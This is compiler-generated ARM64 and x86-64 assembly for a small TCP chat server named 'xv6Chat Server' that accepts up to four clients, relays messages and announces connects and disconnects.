b LBB1_68
LBB1_68: ; in Loop: Header=BB1_20 Depth=1
b LBB1_69
LBB1_69: ; in Loop: Header=BB1_20 Depth=1
b LBB1_70
LBB1_70: ; in Loop: Header=BB1_20 Depth=1
mov x9, sp
add x8, sp, #688
str x8, [sp, #136] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
add x0, sp, #432
str x0, [sp, #152] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #144] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #152] ; 8-byte Folded Reload
ldr x2, [sp, #144] ; 8-byte Folded Reload
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl ___strcat_chk
ldr x1, [sp, #136] ; 8-byte Folded Reload
ldr x2, [sp, #144] ; 8-byte Folded Reload
ldr x0, [sp, #152] ; 8-byte Folded Reload
bl ___strcat_chk
ldr x2, [sp, #144] ; 8-byte Folded Reload
ldr x0, [sp, #152] ; 8-byte Folded Reload
adrp x1, l_.str.15@PAGE
add x1, x1, l_.str.15@PAGEOFF
bl ___strcat_chk
str wzr, [sp, #424]
b LBB1_71
LBB1_71: ; Parent Loop BB1_20 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #424]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_78
b LBB1_72
LBB1_72: ; in Loop: Header=BB1_71 Depth=2
ldrsw x9, [sp, #424]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_76
b LBB1_73
LBB1_73: ; in Loop: Header=BB1_71 Depth=2
ldrsw x9, [sp, #424]
sub x8, x29, #188
ldr w0, [x8, x9, lsl #2]
add x1, sp, #432
mov x2, #256
mov w3, #0
bl _send
subs x8, x0, #0
cset w8, ge
tbnz w8, #0, LBB1_75
b LBB1_74
LBB1_74:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_75: ; in Loop: Header=BB1_71 Depth=2
b LBB1_76
LBB1_76: ; in Loop: Header=BB1_71 Depth=2
b LBB1_77
LBB1_77: ; in Loop: Header=BB1_71 Depth=2
ldr w8, [sp, #424]
add w8, w8, #1
str w8, [sp, #424]
b LBB1_71
LBB1_78: ; in Loop: Header=BB1_20 Depth=1
b LBB1_81
LBB1_79: ; in Loop: Header=BB1_50 Depth=2
b LBB1_80
LBB1_80: ; in Loop: Header=BB1_50 Depth=2
ldr w8, [sp, #952]
add w8, w8, #1
str w8, [sp, #952]
b LBB1_50
LBB1_81: ; in Loop: Header=BB1_20 Depth=1
b LBB1_82
LBB1_82: ; in Loop: Header=BB1_20 Depth=1
str wzr, [sp, #952]
b LBB1_83
LBB1_83: ; Parent Loop BB1_20 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB1_118 Depth 3
ldr w8, [sp, #952]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_131
b LBB1_84
LBB1_84: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #280] ; 4-byte Folded Reload
ldr x10, [sp, #264] ; 8-byte Folded Reload
ldrsw x11, [sp, #952]
sub x9, x29, #188
ldr w9, [x9, x11, lsl #2]
stur w9, [x29, #-104]
add x9, sp, #960
str x9, [x10, #56]
ldur w11, [x29, #-104]
ldr x9, [x10, #56]
stur w11, [x29, #-56]
str x9, [x10, #104]
tbz w8, #0, LBB1_86
b LBB1_85
LBB1_85: ; in Loop: Header=BB1_83 Depth=2
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldur w0, [x29, #-56]
ldr x1, [x8, #104]
mov w2, #0
bl ___darwin_check_fd_set_overflow
stur w0, [x29, #-52]
b LBB1_87
LBB1_86: ; in Loop: Header=BB1_83 Depth=2
mov w8, #1
stur w8, [x29, #-52]
b LBB1_87
LBB1_87: ; in Loop: Header=BB1_83 Depth=2
ldur w8, [x29, #-52]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_89
b LBB1_88
LBB1_88: ; in Loop: Header=BB1_83 Depth=2
ldr x8, [sp, #264] ; 8-byte Folded Reload
ldr x8, [x8, #56]
ldursw x9, [x29, #-104]
mov x11, #32
udiv x9, x9, x11
ldr w8, [x8, x9, lsl #2]
ldursw x9, [x29, #-104]
udiv x10, x9, x11
mul x10, x10, x11
subs x10, x9, x10
mov x9, #1
lsl x9, x9, x10
; kill: def $w9 killed $w9 killed $x9
and w8, w8, w9
stur w8, [x29, #-100]
b LBB1_90
LBB1_89: ; in Loop: Header=BB1_83 Depth=2
stur wzr, [x29, #-100]
b LBB1_90
LBB1_90: ; in Loop: Header=BB1_83 Depth=2
ldur w8, [x29, #-100]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_129
b LBB1_91
LBB1_91: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #688
str x0, [sp, #120] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #128] ; 8-byte Folded Spill
bl _memset
ldr x1, [sp, #120] ; 8-byte Folded Reload
ldr x2, [sp, #128] ; 8-byte Folded Reload
ldrsw x9, [sp, #952]
sub x8, x29, #188
ldr w0, [x8, x9, lsl #2]
mov w3, #0
bl _recv
mov x8, x0
mov x9, x0
str w9, [sp, #428]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_93
b LBB1_92
LBB1_92:
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_93: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #428]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_95
b LBB1_94
LBB1_94: ; in Loop: Header=BB1_83 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
str x8, [sp, #112] ; 8-byte Folded Spill
ldr w0, [x8, x9, lsl #2]
bl _close
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldrsw x10, [sp, #952]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB1_95
LBB1_95: ; in Loop: Header=BB1_83 Depth=2
b LBB1_96
LBB1_96: ; in Loop: Header=BB1_83 Depth=2
ldrsb w8, [sp, #688]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_98
b LBB1_97
LBB1_97: ; in Loop: Header=BB1_20 Depth=1
b LBB1_131
LBB1_98: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #688
add x1, sp, #418
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB1_108
b LBB1_99
LBB1_99: ; in Loop: Header=BB1_83 Depth=2
ldrsw x9, [sp, #952]
sub x8, x29, #188
str x8, [sp, #88] ; 8-byte Folded Spill
ldr w0, [x8, x9, lsl #2]
bl _close
ldr x9, [sp, #88] ; 8-byte Folded Reload
ldrsw x10, [sp, #952]
mov w8, #0
str w8, [x9, x10, lsl #2]
add x0, sp, #432
str x0, [sp, #96] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #104] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #96] ; 8-byte Folded Reload
ldr x2, [sp, #104] ; 8-byte Folded Reload
movi.2d v0, #0000000000000000
str q0, [sp, #288]
str q0, [sp, #304]
adrp x1, l_.str.14@PAGE
add x1, x1, l_.str.14@PAGEOFF
bl ___strcat_chk
ldr w8, [sp, #952]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_101
b LBB1_100
LBB1_100: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #288
add x1, sp, #384
mov x2, #32
bl ___strcat_chk
b LBB1_107
LBB1_101: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_103
b LBB1_102
LBB1_102: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #288
add x1, sp, #352
mov x2, #32
bl ___strcat_chk
b LBB1_106
LBB1_103: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB1_105
b LBB1_104
LBB1_104: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #288
add x1, sp, #320
mov x2, #32
bl ___strcat_chk
b LBB1_105
LBB1_105: ; in Loop: Header=BB1_83 Depth=2
b LBB1_106
LBB1_106: ; in Loop: Header=BB1_83 Depth=2
b LBB1_107
LBB1_107: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #432
str x0, [sp, #72] ; 8-byte Folded Spill
add x1, sp, #288
str x1, [sp, #80] ; 8-byte Folded Spill
mov x2, #256
str x2, [sp, #64] ; 8-byte Folded Spill
bl ___strcat_chk
ldr x2, [sp, #64] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
adrp x1, l_.str.17@PAGE
add x1, x1, l_.str.17@PAGEOFF
bl ___strcat_chk
ldr x8, [sp, #80] ; 8-byte Folded Reload
mov w9, #4
str w9, [sp, #952]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.18@PAGE
add x0, x0, l_.str.18@PAGEOFF
bl _printf
b LBB1_117
LBB1_108: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_110
b LBB1_109
LBB1_109: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #432
str x0, [sp, #56] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #48] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #56] ; 8-byte Folded Reload
ldr x2, [sp, #48] ; 8-byte Folded Reload
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #48] ; 8-byte Folded Reload
ldr x0, [sp, #56] ; 8-byte Folded Reload
add x1, sp, #384
bl ___strcat_chk
ldr x2, [sp, #48] ; 8-byte Folded Reload
ldr x0, [sp, #56] ; 8-byte Folded Reload
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #48] ; 8-byte Folded Reload
ldr x0, [sp, #56] ; 8-byte Folded Reload
add x1, sp, #688
bl ___strcat_chk
b LBB1_116
LBB1_110: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_112
b LBB1_111
LBB1_111: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #432
str x0, [sp, #40] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #32] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #40] ; 8-byte Folded Reload
ldr x2, [sp, #32] ; 8-byte Folded Reload
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #40] ; 8-byte Folded Reload
add x1, sp, #352
bl ___strcat_chk
ldr x2, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #40] ; 8-byte Folded Reload
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #32] ; 8-byte Folded Reload
ldr x0, [sp, #40] ; 8-byte Folded Reload
add x1, sp, #688
bl ___strcat_chk
b LBB1_115
LBB1_112: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB1_114
b LBB1_113
LBB1_113: ; in Loop: Header=BB1_83 Depth=2
add x0, sp, #432
str x0, [sp, #24] ; 8-byte Folded Spill
mov w1, #0
mov x2, #256
str x2, [sp, #16] ; 8-byte Folded Spill
bl _memset
ldr x0, [sp, #24] ; 8-byte Folded Reload
ldr x2, [sp, #16] ; 8-byte Folded Reload
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
add x1, sp, #320
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl ___strcat_chk
ldr x2, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
add x1, sp, #688
bl ___strcat_chk
b LBB1_114
LBB1_114: ; in Loop: Header=BB1_83 Depth=2
b LBB1_115
LBB1_115: ; in Loop: Header=BB1_83 Depth=2
b LBB1_116
LBB1_116: ; in Loop: Header=BB1_83 Depth=2
b LBB1_117
LBB1_117: ; in Loop: Header=BB1_83 Depth=2
str wzr, [sp, #424]
b LBB1_118
LBB1_118: ; Parent Loop BB1_20 Depth=1
; Parent Loop BB1_83 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #424]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB1_128
b LBB1_119
LBB1_119: ; in Loop: Header=BB1_118 Depth=3
ldrsw x9, [sp, #424]
sub x8, x29, #188
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_126
b LBB1_120
LBB1_120: ; in Loop: Header=BB1_118 Depth=3
ldrsw x9, [sp, #424]
sub x8, x29, #188
ldr w0, [x8, x9, lsl #2]
add x1, sp, #432
mov x2, #256
mov w3, #0
bl _send
mov x8, x0
mov x9, x0
str w9, [sp, #284]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_122
b LBB1_121
LBB1_121:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
mov w0, #1
bl _exit
LBB1_122: ; in Loop: Header=BB1_118 Depth=3
ldr w8, [sp, #284]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_124
b LBB1_123
LBB1_123: ; in Loop: Header=BB1_118 Depth=3
ldrsw x9, [sp, #952]
sub x8, x29, #188
str x8, [sp, #8] ; 8-byte Folded Spill
ldr w0, [x8, x9, lsl #2]
bl _close
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldrsw x10, [sp, #952]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB1_124
LBB1_124: ; in Loop: Header=BB1_118 Depth=3
b LBB1_125
LBB1_125: ; in Loop: Header=BB1_118 Depth=3
b LBB1_126
LBB1_126: ; in Loop: Header=BB1_118 Depth=3
b LBB1_127
LBB1_127: ; in Loop: Header=BB1_118 Depth=3
ldr w8, [sp, #424]
add w8, w8, #1
str w8, [sp, #424]
b LBB1_118
LBB1_128: ; in Loop: Header=BB1_83 Depth=2
b LBB1_129
LBB1_129: ; in Loop: Header=BB1_83 Depth=2
b LBB1_130
LBB1_130: ; in Loop: Header=BB1_83 Depth=2
ldr w8, [sp, #952]
add w8, w8, #1
str w8, [sp, #952]
b LBB1_83
LBB1_131: ; in Loop: Header=BB1_20 Depth=1
b LBB1_20
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _OSSwapInt16
__OSSwapInt16: ; @_OSSwapInt16
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strh w0, [sp, #14]
ldrh w9, [sp, #14]
ldrh w8, [sp, #14]
asr w8, w8, #8
orr w8, w8, w9, lsl #8
and w0, w8, #0xffff
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.comm _masterSocket,4,2 ; @masterSocket
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "xv6Chat Server terminating, have a nice day :P\n"
l_.str.1: ; @.str.1
.asciz "Incorrect number of arguments! Correct format is\n\t./xv6ChatServer <Server IP> <Server Port>\n"
l_.str.2: ; @.str.2
.asciz "Passed in arguments are not valid! Correct format is\n\t./xv6ChatServer <Server IP> <Server Port>\n"
l_.str.3: ; @.str.3
.asciz "Server master socket establishment error!\n"
l_.str.4: ; @.str.4
.asciz "Invalid Server IP\n"
l_.str.5: ; @.str.5
.asciz "Server bind error!\n"
l_.str.6: ; @.str.6
.asciz "Server listen error!\n"
l_.str.7: ; @.str.7
.asciz "xv6Chat Server start..\n"
l_.str.8: ; @.str.8
.asciz "Select error!\n"
l_.str.9: ; @.str.9
.asciz "New client accept error!\n"
l_.str.10: ; @.str.10
.asciz "Message receive from new client error!\n"
l_.str.11: ; @.str.11
.asciz "Closing 4th connection"
l_.str.12: ; @.str.12
.asciz "Server send error!\n"
l_.str.13: ; @.str.13
.asciz "User {%s} connected.\n"
l_.str.14: ; @.str.14
.asciz "[Server] User: {"
l_.str.15: ; @.str.15
.asciz "} connected. Everyone say hello! :)"
l_.str.16: ; @.str.16
.asciz "Message receive from client error!\n"
l_.str.17: ; @.str.17
.asciz "} has disconnected."
l_.str.18: ; @.str.18
.asciz "User {%s} disconnected.\n"
l_.str.19: ; @.str.19
.asciz "{"
l_.str.20: ; @.str.20
.asciz "} "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cleanup ## -- Begin function cleanup
.p2align 4, 0x90
_cleanup: ## @cleanup
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _close
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $1040, %rsp ## imm = 0x410
movl $0, -132(%rbp)
movl %edi, -136(%rbp)
movq %rsi, -144(%rbp)
movl $2, %edi
leaq _cleanup(%rip), %rsi
callq _signal
leaq -912(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
leaq -944(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
leaq -976(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
movb $92, -878(%rbp)
movb $101, -877(%rbp)
movb $120, -876(%rbp)
movb $105, -875(%rbp)
movb $116, -874(%rbp)
movb $0, -873(%rbp)
cmpl $3, -136(%rbp)
je LBB1_2
## %bb.1:
leaq L_.str.1(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_2:
movq -144(%rbp), %rax
movq 8(%rax), %rdi
callq _strlen
cmpq $7, %rax
jb LBB1_4
## %bb.3:
movq -144(%rbp), %rax
movq 16(%rax), %rdi
callq _atoi
cmpl $65535, %eax ## imm = 0xFFFF
jle LBB1_5
LBB1_4:
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_5:
movq -144(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -152(%rbp)
movq -144(%rbp), %rax
movq 16(%rax), %rdi
callq _atoi
## kill: def $ax killed $ax killed $eax
movw %ax, -154(%rbp)
movl $2, %edi
movl $1, %esi
xorl %edx, %edx
callq _socket
movq _masterSocket@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cmpl $0, %eax
jge LBB1_7
## %bb.6:
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_7:
movl $0, -344(%rbp)
LBB1_8: ## =>This Inner Loop Header: Depth=1
cmpl $4, -344(%rbp)
jge LBB1_11
## %bb.9: ## in Loop: Header=BB1_8 Depth=1
movslq -344(%rbp), %rax
movl $0, -176(%rbp,%rax,4)
## %bb.10: ## in Loop: Header=BB1_8 Depth=1
movl -344(%rbp), %eax
addl $1, %eax
movl %eax, -344(%rbp)
jmp LBB1_8
LBB1_11:
movb $2, -191(%rbp)
## %bb.12:
movzwl -154(%rbp), %edi
callq __OSSwapInt16
movzwl %ax, %eax
movl %eax, -1016(%rbp) ## 4-byte Spill
## %bb.13:
movl -1016(%rbp), %eax ## 4-byte Reload
movw %ax, -190(%rbp)
movq -152(%rbp), %rsi
leaq -192(%rbp), %rdx
addq $4, %rdx
movl $2, %edi
callq _inet_pton
cmpl $0, %eax
jg LBB1_15
## %bb.14:
leaq L_.str.4(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_15:
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq -192(%rbp), %rsi
movl $16, %edx
callq _bind
cmpl $0, %eax
jge LBB1_17
## %bb.16:
leaq L_.str.5(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_17:
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl $4, %esi
callq _listen
cmpl $0, %eax
jge LBB1_19
## %bb.18:
leaq L_.str.6(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_19:
movl $16, -196(%rbp)
leaq L_.str.7(%rip), %rdi
movb $0, %al
callq _printf
LBB1_20: ## =>This Loop Header: Depth=1
## Child Loop BB1_26 Depth 2
## Child Loop BB1_50 Depth 2
## Child Loop BB1_71 Depth 2
## Child Loop BB1_83 Depth 2
## Child Loop BB1_118 Depth 3
xorps %xmm0, %xmm0
movaps %xmm0, -1040(%rbp) ## 16-byte Spill
movaps %xmm0, -224(%rbp)
movaps %xmm0, -240(%rbp)
movaps %xmm0, -256(%rbp)
movaps %xmm0, -272(%rbp)
movaps %xmm0, -288(%rbp)
movaps %xmm0, -304(%rbp)
movaps %xmm0, -320(%rbp)
movaps %xmm0, -336(%rbp)
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -100(%rbp)
leaq -336(%rbp), %rax
movq %rax, -112(%rbp)
movl -100(%rbp), %ecx
movq -112(%rbp), %rax
movl %ecx, -24(%rbp)
movq %rax, -32(%rbp)
movq ___darwin_check_fd_set_overflow@GOTPCREL(%rip), %rax
testq %rax, %rax
je LBB1_22
jmp LBB1_21
LBB1_21: ## in Loop: Header=BB1_20 Depth=1
movl -24(%rbp), %edi
movq -32(%rbp), %rsi
xorl %edx, %edx
callq ___darwin_check_fd_set_overflow
movl %eax, -20(%rbp)
jmp LBB1_23
LBB1_22: ## in Loop: Header=BB1_20 Depth=1
movl $1, -20(%rbp)
LBB1_23: ## in Loop: Header=BB1_20 Depth=1
cmpl $0, -20(%rbp)
je LBB1_25
## %bb.24: ## in Loop: Header=BB1_20 Depth=1
movslq -100(%rbp), %rcx
andq $31, %rcx
movl $1, %eax
## kill: def $cl killed $rcx
shlq %cl, %rax
movl %eax, %edx
movq -112(%rbp), %rax
movslq -100(%rbp), %rcx
shrq $5, %rcx
orl (%rax,%rcx,4), %edx
movl %edx, (%rax,%rcx,4)
LBB1_25: ## in Loop: Header=BB1_20 Depth=1
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -340(%rbp)
movl $0, -344(%rbp)
LBB1_26: ## Parent Loop BB1_20 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $4, -344(%rbp)
jge LBB1_38
## %bb.27: ## in Loop: Header=BB1_26 Depth=2
movslq -344(%rbp), %rax
cmpl $0, -176(%rbp,%rax,4)
jle LBB1_34
## %bb.28: ## in Loop: Header=BB1_26 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %eax
movl %eax, -116(%rbp)
leaq -336(%rbp), %rax
movq %rax, -128(%rbp)
movl -116(%rbp), %ecx
movq -128(%rbp), %rax
movl %ecx, -8(%rbp)
movq %rax, -16(%rbp)
movq ___darwin_check_fd_set_overflow@GOTPCREL(%rip), %rax
testq %rax, %rax
je LBB1_30
jmp LBB1_29
LBB1_29: ## in Loop: Header=BB1_26 Depth=2
movl -8(%rbp), %edi
movq -16(%rbp), %rsi
xorl %edx, %edx
callq ___darwin_check_fd_set_overflow
movl %eax, -4(%rbp)
jmp LBB1_31
LBB1_30: ## in Loop: Header=BB1_26 Depth=2
movl $1, -4(%rbp)
LBB1_31: ## in Loop: Header=BB1_26 Depth=2
cmpl $0, -4(%rbp)
je LBB1_33
## %bb.32: ## in Loop: Header=BB1_26 Depth=2
movslq -116(%rbp), %rcx
andq $31, %rcx
movl $1, %eax
## kill: def $cl killed $rcx
shlq %cl, %rax
movl %eax, %edx
movq -128(%rbp), %rax
movslq -116(%rbp), %rcx
shrq $5, %rcx
orl (%rax,%rcx,4), %edx
movl %edx, (%rax,%rcx,4)
LBB1_33: ## in Loop: Header=BB1_26 Depth=2
jmp LBB1_34
LBB1_34: ## in Loop: Header=BB1_26 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %eax
cmpl -340(%rbp), %eax
jle LBB1_36
## %bb.35: ## in Loop: Header=BB1_26 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %eax
movl %eax, -340(%rbp)
LBB1_36: ## in Loop: Header=BB1_26 Depth=2
jmp LBB1_37
LBB1_37: ## in Loop: Header=BB1_26 Depth=2
movl -344(%rbp), %eax
addl $1, %eax
movl %eax, -344(%rbp)
jmp LBB1_26
LBB1_38: ## in Loop: Header=BB1_20 Depth=1
movl -340(%rbp), %edi
addl $1, %edi
leaq -336(%rbp), %rsi
xorl %eax, %eax
movl %eax, %r8d
movq %r8, %rdx
movq %r8, %rcx
callq _select$1050
cmpl $0, %eax
jge LBB1_40
## %bb.39:
leaq L_.str.8(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_40: ## in Loop: Header=BB1_20 Depth=1
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -72(%rbp)
leaq -336(%rbp), %rax
movq %rax, -80(%rbp)
movl -72(%rbp), %ecx
movq -80(%rbp), %rax
movl %ecx, -56(%rbp)
movq %rax, -64(%rbp)
movq ___darwin_check_fd_set_overflow@GOTPCREL(%rip), %rax
testq %rax, %rax
je LBB1_42
jmp LBB1_41
LBB1_41: ## in Loop: Header=BB1_20 Depth=1
movl -56(%rbp), %edi
movq -64(%rbp), %rsi
xorl %edx, %edx
callq ___darwin_check_fd_set_overflow
movl %eax, -52(%rbp)
jmp LBB1_43
LBB1_42: ## in Loop: Header=BB1_20 Depth=1
movl $1, -52(%rbp)
LBB1_43: ## in Loop: Header=BB1_20 Depth=1
cmpl $0, -52(%rbp)
je LBB1_45
## %bb.44: ## in Loop: Header=BB1_20 Depth=1
movq -80(%rbp), %rax
movslq -72(%rbp), %rcx
shrq $5, %rcx
movl (%rax,%rcx,4), %eax
movslq -72(%rbp), %rcx
andq $31, %rcx
movl $1, %edx
## kill: def $cl killed $rcx
shlq %cl, %rdx
movq %rdx, %rcx
## kill: def $ecx killed $ecx killed $rcx
andl %ecx, %eax
movl %eax, -68(%rbp)
jmp LBB1_46
LBB1_45: ## in Loop: Header=BB1_20 Depth=1
movl $0, -68(%rbp)
LBB1_46: ## in Loop: Header=BB1_20 Depth=1
cmpl $0, -68(%rbp)
je LBB1_82
## %bb.47: ## in Loop: Header=BB1_20 Depth=1
movq _masterSocket@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq -192(%rbp), %rsi
leaq -196(%rbp), %rdx
callq _accept
movl %eax, -348(%rbp)
cmpl $0, %eax
jge LBB1_49
## %bb.48:
leaq L_.str.9(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_49: ## in Loop: Header=BB1_20 Depth=1
movl $0, -344(%rbp)
LBB1_50: ## Parent Loop BB1_20 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $4, -344(%rbp)
jge LBB1_81
## %bb.51: ## in Loop: Header=BB1_50 Depth=2
cmpl $3, -344(%rbp)
jne LBB1_57
## %bb.52: ## in Loop: Header=BB1_20 Depth=1
movl -348(%rbp), %ecx
movslq -344(%rbp), %rax
movl %ecx, -176(%rbp,%rax,4)
leaq -608(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _recv
cmpq $0, %rax
jge LBB1_54
## %bb.53:
leaq L_.str.10(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_54: ## in Loop: Header=BB1_20 Depth=1
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.11(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcpy_chk
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -864(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _send
cmpq $0, %rax
jge LBB1_56
## %bb.55:
leaq L_.str.12(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
